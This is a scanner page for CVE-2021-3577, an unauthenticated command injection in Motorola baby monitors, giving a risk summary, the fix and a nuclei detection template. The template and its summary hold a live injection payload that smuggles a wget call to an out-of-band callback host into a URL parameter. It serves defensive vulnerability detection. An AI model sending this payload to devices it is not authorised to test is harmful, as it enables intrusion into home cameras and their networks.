Motorola Baby Monitors - Remote Command Execution

highseverity

8.8CVSS score

59.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Motorola Baby Monitors contains multiple interface vulnerabilities could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device, potentially leading to unauthorized access, data theft, or further compromise of the network.

Fix

Apply the latest firmware update provided by Motorola to mitigate the vulnerability and ensure the device is not accessible from untrusted networks.

How to confirm it

Send: GET /?action=command&command=set_city_timezone&value=$(wget%20http://{{interactsh-url}}))
Positive when: contains in interactsh_protocol "http" AND contains "set_city_timezone" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3577 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3577

info:
  name: Motorola Baby Monitors - Remote Command Execution
  author: gy741
  severity: high
  description: Motorola Baby Monitors contains multiple interface vulnerabilities could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device, potentially leading to unauthorized access, data theft, or further compromise of the network.
  remediation: |
    Apply the latest firmware update provided by Motorola to mitigate the vulnerability and ensure the device is not accessible from untrusted networks.
  reference:
    - https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3577
    - https://binatoneglobal.com/security-advisory/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-3577
    cwe-id: CWE-863,CWE-78
    epss-score: 0.59893
    epss-percentile: 0.99141
    cpe: cpe:2.3:o:binatoneglobal:halo\+_camera_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: binatoneglobal
    product: halo\+_camera_firmware
  tags: cve2021,cve,rce,oast,motorola,iot,binatoneglobal,vkev,vuln

http:
  - raw:
      - |
        GET /?action=command&command=set_city_timezone&value=$(wget%20http://{{interactsh-url}})) HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        words:
          - "set_city_timezone"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from